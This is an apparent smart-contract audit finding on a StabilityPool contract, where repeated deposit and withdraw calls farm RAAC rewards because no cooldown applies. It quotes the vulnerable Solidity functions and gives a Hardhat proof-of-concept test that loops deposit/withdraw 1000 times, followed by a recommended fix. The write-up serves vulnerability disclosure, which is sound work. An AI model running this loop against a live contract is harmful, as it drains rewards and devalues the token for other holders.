Summary
The StabilityPool
contract allows users to deposit rToken
, receive deToken
, and earn RAAC
rewards. However, users can continuously deposit and withdraw to farm RAAC
rewards without restrictions.
Vulnerability Details
function deposit(uint256 amount) external nonReentrant whenNotPaused validAmount(amount) {
_update();
rToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 deCRVUSDAmount = calculateDeCRVUSDAmount(amount);
deToken.mint(msg.sender, deCRVUSDAmount);
userDeposits[msg.sender] += amount;
_mintRAACRewards();
emit Deposit(msg.sender, amount, deCRVUSDAmount);
}
User deposits rToken
to recieve the equivalent in deToken
, using the deposit
function which also triggers _mintRAACRewards
to mint RAAC
for the StabilityPool
contract
function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
User uses withdraw
function to withdraw their deposited rTokens
and RAAC
rewards, which are calculated by calculateRaacRewards
function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}
As we can observe in the above code, there is no cooldown period or time restrictions, this will allow users to:
Add this test to StabilityPool.test.js
describe("Infinite rewards", function() {
it("should allow users to claim infinite rewards", async function() {
const initialRAAC = await raacToken.balanceOf(user1.address);
const initialRToken = await rToken.balanceOf(user1.address);
console.log("INITIAL BALANCE")
console.log("rTokens:", initialRToken.toString());
console.log("raacTokens:", initialRAAC.toString());
for (var i = 1; i <=1000; i++) {
await stabilityPool.connect(user1).deposit(ethers.parseEther("1"));
await stabilityPool.connect(user1).withdraw(ethers.parseEther("1"));
}
const finalRAAC = await raacToken.balanceOf(user1.address);
const finalRToken = await rToken.balanceOf(user1.address);
console.log("FINAl BALANCE");
console.log("rTokens:", finalRToken.toString());
console.log("raacTokens:", finalRAAC.toString());
expect(finalRToken).to.equal(initialRToken);
expect(finalRAAC).to.be.gt(initialRAAC);
})
})
Impact
RAAC inflation and token devaluation
Tools Used
Manual review
Recommendations
Consider adding time restriction for RAAC rewards